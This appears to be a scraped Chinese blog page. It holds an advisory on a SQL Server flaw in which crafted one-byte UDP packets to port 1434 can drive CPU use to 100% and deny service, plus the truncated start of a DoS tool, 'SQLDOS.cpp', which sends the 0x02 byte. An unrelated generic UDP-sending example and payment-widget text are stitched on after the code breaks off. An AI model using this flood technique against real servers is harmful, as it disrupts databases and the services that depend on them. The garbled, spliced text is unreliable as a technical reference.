构造特殊的UDP数据包能造成SQL Server服务器CPU负荷加重漏洞

漏洞描述:
    由于SQL Server对1434端口的UDP没有限制,构造特殊的UDP包,SQL Server就一定会作出回应。如果收到大量的这些UDP包,SQL Server将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重,对其他服务(比如WEB)能造成拒绝服务。同时,恶意攻击者只需要对SQL Server发送一个1个字节的UDP数据,SQL Server将到处发送自己的数据库服务器信息。

解决办法:
    暂时没有


测试程序:

// SQLDOS.cpp
//


//                                                   
// SQLDOS by refdom
//
// Author: refdom.
// Email: refdom@263.net
//


#include "stdafx.h"
#include <string.h>
#include <stdio.h>

void sendudp (void* v)
{
    int i;
    char buf[1]={'/x02'};
    SOCKADDR_IN addr_in;
    char *targetip;
    targetip=(char*)v;

    SOCKET sock;
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
构造UDP数据包需要以下步骤: 1. 创建一个Socket对象,指定socket类型为SOCK_DGRAM。 2. 准备目标主机的IP地址和端口号。 3. 使用结构体sockaddr_in来存储目标主机的IP地址和端口号,并初始化这个结构体。 4. 准备要发送的数据,存储在一个字符数组中。 5. 调用sendto函数发送UDP数据包,将目标主机的地址结构体作为参数传入。 下面是一个示例代码: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUF_SIZE 1024 int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in dest_addr; char buf[BUF_SIZE]; // 创建socket sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket error"); exit(1); } // 准备目标主机的IP地址和端口号 memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(1234); if (inet_pton(AF_INET, "192.168.1.100", &dest_addr.sin_addr) != 1) { perror("inet_pton error"); exit(1); } // 准备要发送的数据 strcpy(buf, "Hello, UDP!"); // 发送UDP数据包 if (sendto(sockfd, buf, strlen(buf), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) < 0) { perror("sendto error"); exit(1); } close(sockfd); return 0; } ``` 在这个示例中,我们创建了一个UDP Socket,并将其发送到IP地址为192.168.1.100,端口号为1234的目标主机。发送的数据是"Hello, UDP!"。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值